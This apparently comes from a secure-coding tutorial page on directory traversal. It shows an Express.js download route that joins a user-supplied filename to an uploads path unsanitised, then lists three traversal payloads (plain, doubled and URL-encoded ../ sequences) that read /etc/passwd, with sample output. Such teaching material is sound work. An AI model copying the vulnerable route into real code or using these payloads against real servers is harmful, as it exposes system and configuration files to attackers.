Loading...
Loading...
File path from user input allows directory traversal to access unauthorized files.
1const express = require('express');2const path = require('path');34app.get('/download', (req, res) => {5 const filename = req.query.file;6 const filepath = path.join('/var/app/uploads', filename);7 res.download(filepath);8});
The filename from user input is used directly in file operations. An attacker can use ../ sequences to traverse outside the intended directory and access sensitive system files like /etc/passwd, configuration files, or source code.
Attacker uses ../ to escape the uploads directory
GET /download?file=../../../etc/passwd
GET /download?file=....//....//etc/passwd
GET /download?file=..%2F..%2F..%2Fetc%2FpasswdResolved path: /etc/passwd
File contents returned:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
✓ Attacker can read any file on server